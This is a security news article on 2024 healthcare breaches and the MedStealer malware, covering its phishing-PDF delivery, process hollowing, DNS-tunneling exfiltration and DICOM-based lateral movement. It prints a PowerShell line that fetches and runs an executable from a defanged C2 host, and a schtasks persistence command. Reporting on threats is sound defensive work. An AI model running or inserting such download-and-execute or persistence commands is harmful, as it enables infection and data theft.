Healthcare Cyber Attacks – 276 Million Patient Records were Compromised In 2024

In 2024, the healthcare sector faced an unprecedented wave of cyber attacks, with 276 million patient records exposed globally.

Among the most insidious threats was MedStealer, a malware strain that targeted electronic health records (EHRs), insurance databases, and patient portals.

First observed in early 2024, MedStealer exploited vulnerabilities in legacy healthcare IT systems and third-party vendor networks.

Attack vectors ranged from phishing campaigns impersonating medical platforms like Zocdoc to SQL injection attacks on unpatched servers.

The malware’s primary objective was to exfiltrate personally identifiable information (PII), insurance details, and medical histories, which were later sold on dark web markets for premiums exceeding $1,000 per record.

Check Point researchers identified MedStealer’s distribution network, which relied heavily on spear-phishing emails disguised as appointment confirmations or prescription notifications.

These emails contained malicious PDF attachments embedded with JavaScript droppers.

Once opened, the script initiated a PowerShell command to download the malware payload from a command-and-control (C2) server.

The campaign’s success stemmed from its use of geofencing-targeting users based in the U.S.-and leveraging compromised healthcare employee credentials to bypass email filters.

The fallout was catastrophic: stolen data fueled insurance fraud, illicit prescription drug sales, and even life-threatening medical errors when EHRs were altered.

Hospitals reported delays in treatments due to system lockdowns, while patients faced identity theft lawsuits and extortion attempts.

Infection Mechanism: Blending Social Engineering with Obfuscated Code

MedStealer’s infection chain combined psychological manipulation with advanced technical evasion. A typical attack began with a phishing email titled “Your Appointment is Ready!”, which included a fake medical ID and urgency to act.

The attached PDF used a Base64-encoded URL to fetch the payload:-

$payloadUrl = “hxxps://healthportal[.]care/update.php?ID=ZXhhbXBsZS1iYWQN”;
Invoke-WebRequest -Uri $payloadUrl -OutFile $env:Temp\med_update.exe; Start-Process $env:Temp\med_update.exe

The malware employed process hollowing to inject itself into legitimate Windows utilities like svchost.exe, evading endpoint detection.

Check Point analysts noted that MedStealer’s authors used DNS tunneling to exfiltrate data, disguising stolen records as benign HTTPS traffic.

For persistence, the malware created a scheduled task named “HealthMonitor”:-

schtasks /create /tn “HealthMonitor” /tr “C:\Windows\System32\med_update.exe” /sc hourly /mo 12

Notably, MedStealer exploited vulnerabilities in DICOM protocols (used for medical imaging), allowing lateral movement within hospital networks.

Attackers leveraged misconfigureded PACS (Picture Archiving and Communication Systems) to deploy ransomware alongside data theft tools.

The surge in healthcare breaches underscores the need for zero-trust architectures and AI-driven anomaly detection.

Check Point’s Harmony Email & Collaboration suite blocked over 7,000 MedStealer-linked phishing attempts in 2024, highlighting the critical role of adaptive email security.

As cyber criminals refine their tactics, healthcare organizations must prioritize patch management, employee training, and multi-layered threat prevention to safeguard sensitive patient data.

How SOC Teams Save Time and Effort with ANY.RUN – Live webinar for SOC teams and managers